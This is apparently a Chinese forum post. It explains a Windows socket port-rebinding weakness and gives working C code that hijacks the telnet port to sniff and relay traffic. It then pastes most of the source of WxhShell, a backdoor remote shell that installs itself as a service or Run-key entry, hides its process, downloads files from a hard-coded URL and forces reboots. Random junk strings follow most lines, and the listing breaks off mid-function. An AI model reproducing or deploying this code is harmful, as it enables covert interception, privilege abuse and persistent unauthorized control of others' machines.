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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ?L^ Gu ]y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =%LS9e^7D  
Gj=il-Po  
  saddr.sin_family = AF_INET; Ry C7  
bxs@_fH  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); z61 o6mb  
$G3P3y: [  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); h*LIS@&9C5  
}qTvUs  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /hQ!dU.+  
X}$S|1CjO  
  这意味着什么?意味着可以进行如下的攻击: Dg`W{oj  
Cb.Aw!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 fJuJ#MX{:  
JFfx9%Fq  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) lxZXz JkqZ  
dImm},  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Y2Bu,/9^  
A@UnrbX:  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  bPNsy@"6  
a'BBp6  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1Q<a+ l  
Yh=Zn[ U  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \T0`GpE  
X`&E,;bIb  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 D$ \ EZ   
$3>|R lxYA  
  #include Go4l#6  
  #include 5zU$_M  
  #include o%:eYl  
  #include    g:HIiGN0Ic  
  DWORD WINAPI ClientThread(LPVOID lpParam);   2sngi@\  
  int main() P+[R0QS  
  { 8MIHp[vm%  
  WORD wVersionRequested; Ne%X:h  
  DWORD ret; WVZ\4y  
  WSADATA wsaData; n):VuOjm  
  BOOL val; Ap/WgVw;  
  SOCKADDR_IN saddr; D+OkD-8q  
  SOCKADDR_IN scaddr; gIeo7>u  
  int err; [eImP V]  
  SOCKET s; Y3?kj@T`i  
  SOCKET sc; N}\i!YUD  
  int caddsize; nP.d5%E  
  HANDLE mt; 3hkA`YSYt  
  DWORD tid;   ]^!#0(  
  wVersionRequested = MAKEWORD( 2, 2 ); [30e>bSf`  
  err = WSAStartup( wVersionRequested, &wsaData ); I/'>Bn+  
  if ( err != 0 ) { . @.CQB=E  
  printf("error!WSAStartup failed!\n"); 0/c4%+ Ln  
  return -1; E)Dik`Ccl  
  } 1*Z}M%  
  saddr.sin_family = AF_INET; .$Y[>9  
   ^-DK<jZ^  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !)GPI?{^5  
\>+gZc]an  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =Oy,SX  
  saddr.sin_port = htons(23); .*ZNZ|g_  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #C|iW@  
  { p?Y1^/   
  printf("error!socket failed!\n"); 3'8~H]<W  
  return -1; 7\.5G4dr%  
  } [* Lh4K  
  val = TRUE; S5j#&i  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 + EM '-  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 7Ev~yY;N  
  { d%WFgf}  
  printf("error!setsockopt failed!\n"); >6Q-e$GS@  
  return -1; \o/oM,u  
  } PWTAy\  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; #VLTx!5o  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 !$j'F?2 >  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 \!_ >ul  
MD%86m{Sg=  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) NS\'o )J  
  { kM.zX|_  
  ret=GetLastError(); /Z^+K  
  printf("error!bind failed!\n"); Q~jUZ-qN  
  return -1; @rE>D  
  } a}6Wo=  
  listen(s,2); E]bjI$j  
  while(1) >scEdeM  
  { tYnNOK*|  
  caddsize = sizeof(scaddr); xSw ^v6!2  
  //接受连接请求 Ax&+UxQ0|  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~#wq sm  
  if(sc!=INVALID_SOCKET) $N~8 ^6  
  { )F:hv[iv  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); TtHqdKL  
  if(mt==NULL) o_?YYw-:  
  { -q[?,h  
  printf("Thread Creat Failed!\n"); 7uYJ _R  
  break; 3iDRt&y=.  
  } WO|#`HM2  
  } a4c~ThbI  
  CloseHandle(mt); l/SbJrM*  
  } Kpg]b"9.R  
  closesocket(s); hW(Mf  
  WSACleanup(); m!g f!  
  return 0; lOql(ZH`w  
  }   Y6+nfh_  
  DWORD WINAPI ClientThread(LPVOID lpParam) hS<+=3 <M  
  { 8xLvpgcZ  
  SOCKET ss = (SOCKET)lpParam; leiP/D6s  
  SOCKET sc; < }G7#xg  
  unsigned char buf[4096]; `w2hJP  
  SOCKADDR_IN saddr; 90;[5c   
  long num; }.x?$C+\"  
  DWORD val;  a(F%M  
  DWORD ret; A%pcPzG;  
  //如果是隐藏端口应用的话,可以在此处加一些判断 {@k5e) Q  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   K"eW.$  
  saddr.sin_family = AF_INET; QD<f) JZK  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :hZYh.y\l  
  saddr.sin_port = htons(23); op;OPf,  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >-f`mT  
  { k\A8Z[  
  printf("error!socket failed!\n"); ]"^U  
  return -1; q* +}wP  
  } G >bQlZG  
  val = 100; LXr nAt  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .^ soX}  
  { s~,Ypo?  
  ret = GetLastError(); @jX[Ho0W'  
  return -1; tv5G']vO\  
  } 525W; mu{  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Jc/*w  
  { J&wrBVv1uk  
  ret = GetLastError(); 0KE+RzrB  
  return -1; {U>B\D  
  } qy"#XbBeV  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) TN4gGky!  
  { W-2,QVp%  
  printf("error!socket connect failed!\n"); YhRES]^  
  closesocket(sc); |X0h-kX4  
  closesocket(ss); UO>ADRs}  
  return -1; V^[o{'+  
  } uL`;KD  
  while(1) b|P[\9  
  { hvkLcpE  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @h$cHZ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 %N04k8z  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 QOB>Tv E  
  num = recv(ss,buf,4096,0); h@&& .S`B  
  if(num>0) h${+{1](6  
  send(sc,buf,num,0); f.4r'^  
  else if(num==0) 2Gd.B/L6  
  break; L TzD\C'  
  num = recv(sc,buf,4096,0); [2:Q.Zj  
  if(num>0) B|zJrz0q3  
  send(ss,buf,num,0); r>+\9q1  
  else if(num==0) kZfa8w L]P  
  break; A}W) La\  
  } !RN(/ &%y  
  closesocket(ss); j#rjYiYKy  
  closesocket(sc); /I(IT=kp  
  return 0 ; Yj;KKgk  
  } ~dg7c{o5  
D6fry\  
>{C=\F#*L  
========================================================== JHC 6l  
7.`Fe g.  
下边附上一个代码,,WXhSHELL kr[p4X4  
.5 Sw  
========================================================== tNj-~r  
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#include "stdafx.h" ..'k+0u^  
cks53/Z  
#include <stdio.h>  rl"$6{Z}  
#include <string.h> CY"&@v1  
#include <windows.h> ssj(-\5  
#include <winsock2.h> 2iO AUo+  
#include <winsvc.h> lV<2+Is  
#include <urlmon.h> _~]~ssn,1  
9%T~^V%T7  
#pragma comment (lib, "Ws2_32.lib") }coSMTMv6  
#pragma comment (lib, "urlmon.lib") ra2sYH1wr  
l+`f\},  
#define MAX_USER   100 // 最大客户端连接数 X:PB }  
#define BUF_SOCK   200 // sock buffer Y">m g=B  
#define KEY_BUFF   255 // 输入 buffer 1j"_@?H[  
&3~lZa;D  
#define REBOOT     0   // 重启 CobMagPhr  
#define SHUTDOWN   1   // 关机 Xf o3fW)s  
uyZ  
#define DEF_PORT   5000 // 监听端口 P@lDhzd  
u_ou,RF  
#define REG_LEN     16   // 注册表键长度 )IQ5Qu  
#define SVC_LEN     80   // NT服务名长度 bS7rG$n [  
S5'ZKk  
// 从dll定义API ^C$Oht,cU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }81eef4$S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wiHGTaR  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >v--R8I*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $v5)d J  
#y;TSHx/  
// wxhshell配置信息 DD5 S R  
struct WSCFG { ~0/tU#&  
  int ws_port;         // 监听端口 jT/}5\  
  char ws_passstr[REG_LEN]; // 口令 }(tuBJ9  
  int ws_autoins;       // 安装标记, 1=yes 0=no nwSujD  
  char ws_regname[REG_LEN]; // 注册表键名 $$'a  
  char ws_svcname[REG_LEN]; // 服务名 nz_=]PHO&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3>vSKh1z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 B6qM0QW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 dAg<BK/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o\<m99Ub  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T .#cd1b  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 k_ d)  
f 0"N  
}; LelCjC{`1  
b~$B 0o)  
// default Wxhshell configuration =T7lv%u  
struct WSCFG wscfg={DEF_PORT, vl}fC@%WRI  
    "xuhuanlingzhe", TEB<ia3+  
    1, bzj9U>eY  
    "Wxhshell", cl2+,!:  
    "Wxhshell", TgC8EcLr  
            "WxhShell Service", f[r?J/;P9  
    "Wrsky Windows CmdShell Service", F/8="dM  
    "Please Input Your Password: ", +ftOJFkI  
  1, Hg[g{A_G[  
  "http://www.wrsky.com/wxhshell.exe", NWL\"xp `t  
  "Wxhshell.exe" 4 H 4W  
    }; "!w$7|% T  
,^Ug[pGG-  
// 消息定义模块 ^ &UezDTS  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M( eu wy  
char *msg_ws_prompt="\n\r? for help\n\r#>"; HgVPyo  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4DLp +6zP  
char *msg_ws_ext="\n\rExit."; ui>0?O*G  
char *msg_ws_end="\n\rQuit."; (g(.gN]  
char *msg_ws_boot="\n\rReboot..."; A8|DB@ Bi  
char *msg_ws_poff="\n\rShutdown..."; X1wlOE  
char *msg_ws_down="\n\rSave to "; s<#["K*_  
{Tr5M o  
char *msg_ws_err="\n\rErr!"; ko7*9`  
char *msg_ws_ok="\n\rOK!"; dio<?6ZD9P  
6 (M^`&fl  
char ExeFile[MAX_PATH]; _U Q|I|V#  
int nUser = 0; \}:RG^*m  
HANDLE handles[MAX_USER]; O8\>?4)  
int OsIsNt; }8lvi vR4  
1&7~.S;km  
SERVICE_STATUS       serviceStatus; -=;V*;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _R/^P>Q?  
D6Q6yNE  
// 函数声明 5>S=f{ghFw  
int Install(void); ng0tNifZ;  
int Uninstall(void); pYxdE|2j  
int DownloadFile(char *sURL, SOCKET wsh); 76'@}wNnw  
int Boot(int flag); 6_rgj{L  
void HideProc(void); EdH;P \c  
int GetOsVer(void); DA9-F  
int Wxhshell(SOCKET wsl); Sh@en\m=#S  
void TalkWithClient(void *cs); r}>q*yx:  
int CmdShell(SOCKET sock); N'5AU (  
int StartFromService(void); 6Wn"h|S  
int StartWxhshell(LPSTR lpCmdLine); .,vF% pQ  
,)svSzR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <i1.W !%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \gU=B|W  
-O~ V4004  
// 数据结构和表定义 =cP7"\  
SERVICE_TABLE_ENTRY DispatchTable[] = 3oo Tn-`{  
{ K|a^<| S  
{wscfg.ws_svcname, NTServiceMain}, p?Rq  
{NULL, NULL} 5eL_iNqJM  
}; <jjn'*44f  
NA/hs/ '  
// 自我安装 1woBw>g  
int Install(void) *LA2@9l  
{ ^q@6((O  
  char svExeFile[MAX_PATH]; XX9u%BZ~  
  HKEY key; {y\5 9  
  strcpy(svExeFile,ExeFile);  MYk%p'  
Q($.s=&l;  
// 如果是win9x系统,修改注册表设为自启动 (\qO~)[0  
if(!OsIsNt) { ~N!-4-~p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xRiWg/Z~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tR{@NFUcu  
  RegCloseKey(key); 4k6,pt"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9$iDK$%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FV];od&c  
  RegCloseKey(key); WF&?OHf2  
  return 0; n7$2 1*,  
    } No(p:Snbo  
  } q33Z.3R  
} ]!mC5Ea  
else { +<TnE+>j  
Pkq?tm$#  
// 如果是NT以上系统,安装为系统服务 ,x]xtg?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wMx# dP4W8  
if (schSCManager!=0) oBpoZ @[Z  
{ I `I+7~t  
  SC_HANDLE schService = CreateService rL9u7) x  
  ( vi8)U]6  
  schSCManager, MmL)CT  
  wscfg.ws_svcname, 2sXNVo8`w"  
  wscfg.ws_svcdisp, >vny9^_  
  SERVICE_ALL_ACCESS, ),%(A~\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -0G/a&ss  
  SERVICE_AUTO_START, $ KAOJc4<  
  SERVICE_ERROR_NORMAL, a*T=;P3(I  
  svExeFile, b$,~S\\c  
  NULL, >`S $(f  
  NULL, ~L55l2u7  
  NULL, q2U8]V U)  
  NULL, g UAx8=h  
  NULL %.nZ@';.  
  ); P)9$}9i  
  if (schService!=0) mu/GOEZ5  
  { ?V9Da;cj  
  CloseServiceHandle(schService); r,FPTf  
  CloseServiceHandle(schSCManager); qHtonJc  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); x<lY&KQ0  
  strcat(svExeFile,wscfg.ws_svcname); XqxmvN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [>#@?@x`P  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rq]zt2  
  RegCloseKey(key); #l<un<  
  return 0; 9irT}e  
    } %j7HIxZh  
  } jVxX! V  
  CloseServiceHandle(schSCManager); 9%  wVE]  
} NKX62 ZC  
} f*HEw  
#UYrSM@u  
return 1; 83[gV@LW0m  
} 9=FqI50{  
>dU.ic?19  
// 自我卸载 .9'bi#:Cw  
int Uninstall(void) {%! >0@7  
{ +"8-)'  
  HKEY key; QY}1i .f  
iI 4XM>`a  
if(!OsIsNt) { `rQDX<?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gfU@`A_N"  
  RegDeleteValue(key,wscfg.ws_regname); >r8$vQGj  
  RegCloseKey(key); K'tckJ#%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b>_eD-  
  RegDeleteValue(key,wscfg.ws_regname); 7LZ A!3  
  RegCloseKey(key); //O9}-  
  return 0; R&P}\cf8T  
  } 3`%U)gCT5  
} -s5>GwZt  
} T:?01?m  
else { ?K9zTas@  
+[C><uP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  )o\U4t  
if (schSCManager!=0) {EL J!o[  
{ QgB%\mO=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;:l>Kac  
  if (schService!=0) 7 8n`VmH~L  
  { jYJRG<*e  
  if(DeleteService(schService)!=0) { %!HBPLk  
  CloseServiceHandle(schService); 9@{=2 k  
  CloseServiceHandle(schSCManager); k}tT l 2  
  return 0; CgxGvM4  
  } ^\Gukkmh}  
  CloseServiceHandle(schService); !c#~g0H+  
  } *\4u:1Cu  
  CloseServiceHandle(schSCManager); ]Ac&h aAP  
} VHlo}Ek<#  
} =, WW#tD  
8*[Q{:'.  
return 1; x}(p\Efx  
} #OE]'k Ss  
5uxB)Dx)  
// 从指定url下载文件 C;BC@OE  
int DownloadFile(char *sURL, SOCKET wsh) l$mfsm|{:  
{ JrhDqyk*  
  HRESULT hr; sPoH12?AL  
char seps[]= "/"; L-V+`![{  
char *token; N{o3w.g  
char *file; q\q8xF~[p  
char myURL[MAX_PATH]; 2S#|[wq(  
char myFILE[MAX_PATH];  jcVK4jW  
l:?w{'i$  
strcpy(myURL,sURL); ),53(=/hl  
  token=strtok(myURL,seps); O77bm,E  
  while(token!=NULL) J~,Ny_L  
  { ER4j=O#  
    file=token; yWkg4  
  token=strtok(NULL,seps); I%qZMoS1h  
  } 0Xx&Z8E  
']cRSj.  
GetCurrentDirectory(MAX_PATH,myFILE); cQOc^W  
strcat(myFILE, "\\"); F\U^-/0,  
strcat(myFILE, file); o1B8_$aYgc  
  send(wsh,myFILE,strlen(myFILE),0); <1xs ya[e  
send(wsh,"...",3,0); [n!5!/g>j  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); x.ZW%P1  
  if(hr==S_OK) ,y%4QvG7a  
return 0; ^w1&A 3=6  
else pZUXXX  
return 1; b?Zt3#  
/CW 0N@  
} %hM8px4d  
x;; =+)Gg  
// 系统电源模块 G+dQ" cI9  
int Boot(int flag) %D9,Femt  
{ :<w2j 6V  
  HANDLE hToken; P g{/tM Y  
  TOKEN_PRIVILEGES tkp; pY T^Ug  
T|fmO<e*n  
  if(OsIsNt) { E]<Ce;Vj  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); GiH<6<=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C[0*>W8o  
    tkp.PrivilegeCount = 1;  +?I 1Og  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _/(7:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xQ{n|)i>  
if(flag==REBOOT) { #x^dR-@   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w4UaWT1J  
  return 0; '1u!@=.\G  
} &Ub0o2+y  
else { .>A`FqV$~+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) W:z?w2{VI(  
  return 0; *RpBKm&^7  
} |1z?#@BH  
  } %n7mN])  
  else { YN<:k Wu  
if(flag==REBOOT) { D;RZE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) nS`DI92I  
  return 0; |5(< Vk=  
} Ivdg1X  
else { ?oKY"C8/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h%0hryGB  
  return 0; b7nER]R  
} &N^^[ uG  
} L4wKG&  
d 6$,N|  
return 1; vI)-Zz[3  
} _0uFe7sIZ  
 | D?lF  
// win9x进程隐藏模块 t(,_  
void HideProc(void) 5*he  
{ B"9/+Yj  
P{{pp<tX*&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); eC71;"  
  if ( hKernel != NULL ) F N)vFQ#J  
  { >gqd y*Bg  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Fo0dz  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v]tNJ=aI  
    FreeLibrary(hKernel); 9*"Ae0ok1  
  } acXB vs  
~SWR|[  
return; 8D[,z 7n  
} :gvw5h%  
mF|7:zSo  
// 获取操作系统版本 y&$mN  
int GetOsVer(void) :W++`f&  
{ Tn'_{@E;  
  OSVERSIONINFO winfo; _Coh11  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Wg3\hv29  
  GetVersionEx(&winfo); 6tKm'`^z4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) x-Cy,d:YX  
  return 1; z g'1T2t  
  else tBZ&h` V  
  return 0; JDIQpO"Qji  
} cc"L> XoK  
w,'"2^Cwy  
// 客户端句柄模块 Fa!6*K\  
int Wxhshell(SOCKET wsl) cnrS.s=  
{ `k>h2(@9S  
  SOCKET wsh; FK8G BkQ!  
  struct sockaddr_in client; %S2^i3  
  DWORD myID; /%fa_+,|-  
0%9Nf!j  
  while(nUser<MAX_USER) j#`d%eQ~J  
{ "HuV'  
  int nSize=sizeof(client); &?-LL{W{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7xmyjy%c  
  if(wsh==INVALID_SOCKET) return 1; JpFfO<uO  
:-I~-Yj  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); C#y[UM5\k;  
if(handles[nUser]==0) ikSm;.  
  closesocket(wsh); E903T''s  
else S @EkrC\4n  
  nUser++; 2!Mwui;%  
  } /Ww_fY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); QzzV+YG$(4  
GCf3'u  
  return 0; o9l =Q  
} b`4R`mo  
RawK9K_1  
// 关闭 socket 1>doa1  
void CloseIt(SOCKET wsh) x}w"2[fL  
{ '}`|QJ  
closesocket(wsh); q=M\#MlL0'  
nUser--; q 16jL,i  
ExitThread(0); a!;]9}u7  
} @Gs*y1  
78s:~|WB<{  
// 客户端请求句柄 d" "GG/  
void TalkWithClient(void *cs) rt7Ma2tK  
{ 2 us-s  
&*I\~;1  
  SOCKET wsh=(SOCKET)cs; suh@  
  char pwd[SVC_LEN]; n.[0#Ur&}  
  char cmd[KEY_BUFF]; =ZsM[wd  
char chr[1]; MZ(TST"  
int i,j; q+MV@8w  
 M>mk=-l  
  while (nUser < MAX_USER) { v}=3  
reyN5n~4U  
if(wscfg.ws_passstr) { zS@"ITy  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5aF03+ko  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,1\nd{  
  //ZeroMemory(pwd,KEY_BUFF); vZdn  
      i=0; Fb<r~2  
  while(i<SVC_LEN) { O};U3=^0f  
T;eA<,H  
  // 设置超时 9I a4PPEH1  
  fd_set FdRead; ?G5JAG`  
  struct timeval TimeOut; .b4_O CGg  
  FD_ZERO(&FdRead); 9.KOrg5}L  
  FD_SET(wsh,&FdRead); :qV}v2  
  TimeOut.tv_sec=8; \iQD\=o  
  TimeOut.tv_usec=0; +F &,,s"&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q;T3bxp+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &S}i)Nu6J  
TzXivE@mm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 00') Ol&  
  pwd=chr[0]; wW3fsXu  
  if(chr[0]==0xd || chr[0]==0xa) { 6]i"lqb  
  pwd=0; 8{5Y%InL  
  break; Hev S}L  
  } vG(Gs=.U  
  i++; iOB]72dh  
    } AsRS7V  
`<Z5/;a5W  
  // 如果是非法用户,关闭 socket YfC1.8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P@Wi^svj  
} UTEUVcJ\  
w_po5[]R  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |kvom 4T  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ubV|s|J  
\*}JdEHB  
while(1) { /znW$yh o  
,}!OJyT  
  ZeroMemory(cmd,KEY_BUFF); 8>Xyz`$kH  
DiK@>$v  
      // 自动支持客户端 telnet标准   i|X ;n  
  j=0; 1 l'Wb2g>A  
  while(j<KEY_BUFF) { t[B\'f!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #zC_;u$  
  cmd[j]=chr[0]; l`L}*Q- 5  
  if(chr[0]==0xa || chr[0]==0xd) { ]8(_{@ /  
  cmd[j]=0; *rO#UE2  
  break; UV%A l)3  
  } ^CUeq"GYoZ  
  j++; N|c;Qzl  
    } O:fv1  
]HP aM  
  // 下载文件 @O}%sjC1  
  if(strstr(cmd,"http://")) { ;z;O}<8s  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); i,R<`K0  
  if(DownloadFile(cmd,wsh)) Kk2PWJ7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :\x)`lu  
  else N"2Ire  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JcEPwF.  
  } VnUW UIVJ  
  else { OWsK>egD  
?5e:w?&g@  
    switch(cmd[0]) { 2f1WT g)  
  /,'D4s:Gg  
  // 帮助 *%L:soM'Ll  
  case '?': { .g.v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D 8^wR{-;J  
    break; G>{Bij44  
  } xU#f>@v!  
  // 安装 7/lXy3B4  
  case 'i': { =Mb!&qq  
    if(Install()) ]}2+yK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XVjs0/5b  
    else '~ RP+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DfP4 `  
    break; q.0a0 /R  
    } g$s"x r`:  
  // 卸载 * 8n0  
  case 'r': { 53d8AJ_@X  
    if(Uninstall()) Qvh: hkR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y^:!]-+  
    else WpE\N0Yg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (J8 (_MF  
    break; mG2*s ^$  
    } 1.YDIB||  
  // 显示 wxhshell 所在路径 VfOm#Ue0 q  
  case 'p': { E(Tvj\9  
    char svExeFile[MAX_PATH]; JQQP!]%}  
    strcpy(svExeFile,"\n\r"); p\66`\\l  
      strcat(svExeFile,ExeFile); sf4NKe2*  
        send(wsh,svExeFile,strlen(svExeFile),0); !Mp.jE  
    break; y@"6Dt|  
    } (j;s6g0  
  // 重启 L.XGD|m  
  case 'b': { x 5vvY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I/D (gY06<  
    if(Boot(REBOOT)) H(U`S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4(>|f_$  
    else { K^j7T[pR  
    closesocket(wsh); \EF^Ag  
    ExitThread(0); jovI8Dw >  
    } UN'[sHjOnD  
    break; 6('2.^8  
    } ?zW4|0  
  // 关机 Vo^ i7  
  case 'd': { Pu dIb|V2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,h,DB=!K<  
